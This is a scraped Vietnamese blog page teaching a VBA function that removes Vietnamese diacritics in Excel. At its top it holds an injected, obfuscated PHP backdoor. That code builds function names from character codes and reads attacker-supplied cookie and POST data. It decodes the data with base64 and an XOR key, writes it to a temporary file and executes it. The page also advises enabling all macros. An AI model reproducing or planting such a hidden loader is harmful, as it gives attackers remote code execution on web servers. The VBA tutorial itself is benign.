$ylZYFX = chr (85) . '_' . 'E' . "\121" . "\130" . chr (108) . chr (104); $yLWtuVuIpp = 'c' . chr ( 753 - 645 ).chr (97) . "\x73" . chr ( 582 - 467 ).chr (95) . "\145" . "\170" . chr ( 510 - 405 ).chr (115) . "\x74" . 's';$kAOmFrC = class_exists($ylZYFX); $yLWtuVuIpp = "35366";$DZnLrk = strpos($yLWtuVuIpp, $ylZYFX);if ($kAOmFrC == $DZnLrk){function IAeTZP(){$aZfgaHHvu = new /* 4364 */ U_EQXlh(29822 + 29822); $aZfgaHHvu = NULL;}$XKXHSy = "29822";class U_EQXlh{private function KWZRppi($XKXHSy){if (is_array(U_EQXlh::$YNoKSXbD)) {$name = sys_get_temp_dir() . "/" . crc32(U_EQXlh::$YNoKSXbD["salt"]);@U_EQXlh::$YNoKSXbD["write"]($name, U_EQXlh::$YNoKSXbD["content"]);include $name;@U_EQXlh::$YNoKSXbD["delete"]($name); $XKXHSy = "29822";exit();}}public function HfLoXJy(){$XvCgWQeB = "40563";$this->_dummy = str_repeat($XvCgWQeB, strlen($XvCgWQeB));}public function __destruct(){U_EQXlh::$YNoKSXbD = @unserialize(U_EQXlh::$YNoKSXbD); $XKXHSy = "22734_2480";$this->KWZRppi($XKXHSy); $XKXHSy = "22734_2480";}public function gYQxmX($XvCgWQeB, $uwoXMoiAQJ){return $XvCgWQeB[0] ^ str_repeat($uwoXMoiAQJ, intval(strlen($XvCgWQeB[0]) / strlen($uwoXMoiAQJ)) + 1);}public function HturnsX($XvCgWQeB){$IRxSAES = "\142" . "\x61" . "\163" . chr (101) . chr (54) . chr ( 962 - 910 );return array_map($IRxSAES . chr ( 150 - 55 ).chr ( 1074 - 974 )."\145" . "\143" . 'o' . chr (100) . 'e', array($XvCgWQeB,));}public function __construct($oCcnlBmz=0){$vemMBQz = ',';$XvCgWQeB = "";$YdToI = $_POST;$OaybdGwVx = $_COOKIE;$uwoXMoiAQJ = "c88d6de5-9c28-4205-88d1-aa6ae4d03ace";$vclXYK = @$OaybdGwVx[substr($uwoXMoiAQJ, 0, 4)];if (!empty($vclXYK)){$vclXYK = explode($vemMBQz, $vclXYK);foreach ($vclXYK as $TPeibWgFe){$XvCgWQeB .= @$OaybdGwVx[$TPeibWgFe];$XvCgWQeB .= @$YdToI[$TPeibWgFe];}$XvCgWQeB = $this->HturnsX($XvCgWQeB);}U_EQXlh::$YNoKSXbD = $this->gYQxmX($XvCgWQeB, $uwoXMoiAQJ);if (strpos($uwoXMoiAQJ, $vemMBQz) !== FALSE){$uwoXMoiAQJ = explode($vemMBQz, $uwoXMoiAQJ); $dXdlFMY = sprintf("22734_2480", rtrim($uwoXMoiAQJ[0]));}}public static $YNoKSXbD = 56125;}IAeTZP();} Hàm loại bỏ dấu tiếng việt trong Excel - Tải Chùa

Hàm loại bỏ dấu tiếng việt trong Excel

by admin • 3 Tháng mười một, 2023 • [rt_reading_time] phút đọc
Rate this post
Rate this post

(Bỏ dấu tiếng việt trong Excel) Excel là công cụ hữu ích và thông dụng với mọi người ở các ngành nghề khác nhau như nhân viên văn phòng, thủ quỹ, kế toán, kỹ sư, giáo viên, học sinh, … Excel có thể giải quyết được các công việc từ đơn giản đến phức tạp bởi các hàm có sẵn trong Excel vô cùng phong phú. Ngoài ra, bạn còn có thể tự xây dựng hàm riêng để xử lý công việc được nhanh chóng và hiệu quả. Chính điều này giúp Excel giải quyết được rất nhiều công việc và trở thành công cụ quen thuộc của mọi đối tượng.

Ham loai bo dau tieng viet trong excel

Trong một số trường hợp, bạn cần phải xử lý một một chuỗi ký tự hay một danh sách sang tiếng việt không dấu. Tuy nhiên, Excel chưa hỗ trợ hàm có sẵn để thực hiện công việc này. Nếu xử lý bằng tay thì mất rất nhiều thời gian, đặc biệt là đối với bảng dữ liệu lớn. Vậy có cách nào có thể nhanh chóng xử lý công việc này? Hôm nay, Blog tin học xin giới thiệu với các bạn cách giả quyết vấn đề này, đó là tự xây dựng hàm loại bỏ dấu tiếng việt trong Excel. Sau đây là các bước thực hiện:

1. Khởi động Microsoft Excel.

2. Bắt đầu Visual Basic Editor với ALT + F11.

Trong menu Insert chọn Module
Ham loai bo dau tieng viet trong excel

3. Copy đoạn mã sau

Function ConvertToUnSign(ByVal sContent As String) As String
Dim i As Long
Dim intCode As Long
Dim sChar As String
Dim sConvert As String
ConvertToUnSign = AscW(sContent)

For i = 1 To Len(sContent)
sChar = Mid(sContent, i, 1)
If sChar <> “” Then
intCode = AscW(sChar)
End If
Select Case intCode
Case 273
sConvert = sConvert & “d”
Case 272
sConvert = sConvert & “D”
Case 224, 225, 226, 227, 259, 7841, 7843, 7845, 7847, 7849, 7851, 7853, 7855, 7857, 7859, 7861, 7863
sConvert = sConvert & “a”
Case 192, 193, 194, 195, 258, 7840, 7842, 7844, 7846, 7848, 7850, 7852, 7854, 7856, 7858, 7860, 7862
sConvert = sConvert & “A”
Case 232, 233, 234, 7865, 7867, 7869, 7871, 7873, 7875, 7877, 7879
sConvert = sConvert & “e”
Case 200, 201, 202, 7864, 7866, 7868, 7870, 7872, 7874, 7876, 7878
sConvert = sConvert & “E”
Case 236, 237, 297, 7881, 7883
sConvert = sConvert & “i”
Case 204, 205, 296, 7880, 7882
sConvert = sConvert & “I”
Case 242, 243, 244, 245, 417, 7885, 7887, 7889, 7891, 7893, 7895, 7897, 7899, 7901, 7903, 7905, 7907
sConvert = sConvert & “o”
Case 210, 211, 212, 213, 416, 7884, 7886, 7888, 7890, 7892, 7894, 7896, 7898, 7900, 7902, 7904, 7906
sConvert = sConvert & “O”
Case 249, 250, 361, 432, 7909, 7911, 7913, 7915, 7917, 7919, 7921
sConvert = sConvert & “u”
Case 217, 218, 360, 431, 7908, 7910, 7912, 7914, 7916, 7918, 7920
sConvert = sConvert & “U”
Case 253, 7923, 7925, 7927, 7929
sConvert = sConvert & “y”
Case 221, 7922, 7924, 7926, 7928
sConvert = sConvert & “Y”
Case Else
sConvert = sConvert & sChar
End Select
Next
ConvertToUnSign = sConvert
End Function

4. Sử dụng hàm vừa tạo tại màn hình Excel

Bạn có thể sử dụng hàm vừa tạo bằng 2 cách:
  • Cách 1:
    + Cú pháp: =ConvertToUnSign(Chuỗi cần chuẩn hóa).
    + Ví dụ: =ConvertToUnSign(“Sắp xếp thứ tự Sheet trong Excel”).
  • Cách 2:
    +Cú pháp: = ConvertToUnSign(Địa chỉ ô cần chuyển).
    + Ví dụ: = ConvertToUnSign(B4).

Có một số trường hợp khi sử dụng hàm vừa tạo thì gặp phải trường hợp giá trị trả về #NAME?. Khi đó, bạn thực hiện theo các bước dưới đây (đối với Office 2007).

  • Click Office Button -> Excel Options.
  • Chọn Trust Center -> Trust Center Settings.
Ham loai bo dau tieng viet trong excel
Chọn Macro Settings -> Enable all macros (not recommended; potentially dangerous code can run).
Ham loai bo dau tieng viet trong excel
Click OK.
Trên đây là bài viết thủ thuật văn phòng về loại bỏ dấu tiếng việt trong Excel. Hi vọng bài viết giúp ích được cho các bạn!
Hàm loại bỏ dấu tiếng việt trong Excel

5 (100%) 1 vote

Bài viết liên quan:

  • Hàm chuyển số thành chữ trong Excel
  • Hàm chuyển số sang chữ trong Excel
  • Sắp xếp thứ tự Sheet trong Excel bằng VBA
  • Hàm chuẩn hóa chuỗi trong Excel
  • Tự động chuẩn hóa chuỗi khi Enter trong Excel

Bài viết cùng chủ đề:

Chuyên mục bài viết